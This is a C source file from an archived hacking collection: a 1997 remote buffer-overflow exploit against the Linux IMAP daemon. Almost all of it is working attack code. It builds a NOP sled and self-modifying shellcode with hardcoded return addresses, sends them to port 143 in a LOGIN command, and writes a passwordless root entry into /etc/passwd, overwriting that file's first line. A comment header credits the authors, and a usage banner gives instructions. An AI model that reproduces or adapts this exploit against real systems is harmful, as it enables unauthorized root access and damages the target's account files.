home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / imapd_exploit.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  132 lines

  1. /*
  2.  
  3.   This is the remote exploit of the hole in the imap daemon, for
  4.   Linux.  The instruction code is doing open(), write(), and close()
  5.   system calls, and  it adds a line root::0:0.. at the beggining of
  6.   /etc/passwd (change to /etc/shadow if needed).  The  code needs to
  7.   be self modifying since imapd turns everything to lowercase before
  8.   it pushes it on the stack.  The problem  is that it  rewrites the
  9.   first line of passwd/shadow,  therefore loosing the root password.
  10.  
  11.   I'm sorry, but I don't have time to add in the seek syscall.
  12.  
  13.   - Akylonius (aky@galeb.etf.bg.ac.yu) [1997]
  14.  
  15.   Modifications made on 5.1.97 to accept command line hostname,  with
  16.   'h_to_ip' function that resolves it to an ip.  -  p1 (p1@el8.org)
  17.  
  18. */
  19.  
  20. #include <string.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netinet/in.h>
  24. #include <stdio.h>
  25. #include <arpa/inet.h>
  26. #include <netdb.h>
  27.  
  28. char *h_to_ip(char *hostname);
  29.  
  30. char *h_to_ip(char *hostname) {
  31.  
  32.   struct hostent *h;
  33.   struct sockaddr_in tmp;
  34.   struct in_addr in;
  35.  
  36.   h = gethostbyname(hostname);
  37.  
  38.   if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }
  39.  
  40.   memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
  41.   memcpy(&in,&tmp.sin_addr.s_addr,4);
  42.  
  43. return(inet_ntoa(in));
  44. }
  45.  
  46. void banner(void) {
  47.   system("clear");
  48.   printf("\nIMAP Exploit for Linux.\n");
  49.   printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
  50.   printf(" Modifications: p1 (p1@el8.org)\n");
  51. }
  52.  
  53. main(int argc, char **argv) {
  54.  
  55.   int fd;
  56.   struct sockaddr_in sckdaddr;
  57.   char *hostname;
  58.   char buf[4092];
  59.   int i=8;
  60.   char realegg[] =
  61.     "\xeb\x58\x5e"
  62.     "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
  63.     "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
  64.     "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
  65.     "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
  66.     "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
  67.     "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
  68.     "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
  69.     "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
  70.     "iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
  71.     "/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
  72.   char *point = realegg;
  73.   buf[0]='*';
  74.   buf[1]=' ';
  75.   buf[2]='l';
  76.   buf[3]='o';
  77.   buf[4]='g';
  78.   buf[5]='i';
  79.   buf[6]='n';
  80.   buf[7]=' ';
  81.  
  82.   banner();
  83.  
  84.   if (argc<2)  {
  85.      printf("\nUsage: %s <hostname>\n\n", argv[0]);
  86.      exit(-1);
  87.   }
  88.  
  89.   hostname=argv[1];
  90.  
  91.   while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
  92.     buf[i++]=0x90;
  93.  
  94.   while(*point)
  95.     buf[i++]=*(point++);
  96.  
  97.   buf[i++]=0x83; /* ebp */
  98.   buf[i++]=0xf3;
  99.   buf[i++]=0xff;
  100.   buf[i++]=0xbf;
  101.   buf[i++]=0x88; /* ret adr */
  102.   buf[i++]=0xf8;
  103.   buf[i++]=0xff;
  104.   buf[i++]=0xbf;
  105.  
  106.   buf[i++]=' ';
  107.   buf[i++]='b';
  108.   buf[i++]='a';
  109.   buf[i++]='h';
  110.   buf[i++]='\n';
  111.  
  112.   buf[i++]=0x0;
  113.  
  114.  
  115.   if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
  116. socket. \n");
  117.  
  118.   sckdaddr.sin_port=htons(143);
  119.   sckdaddr.sin_family=AF_INET;
  120.   sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
  121.  
  122.   if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
  123. perror("Error with connecting. \n");
  124.  
  125.   printf("hmm: \n");
  126.   getchar();
  127.   write(fd,buf,strlen(buf)+1);
  128.   printf("hmm: \n");
  129.   close(fd);
  130. }
  131.  
  132.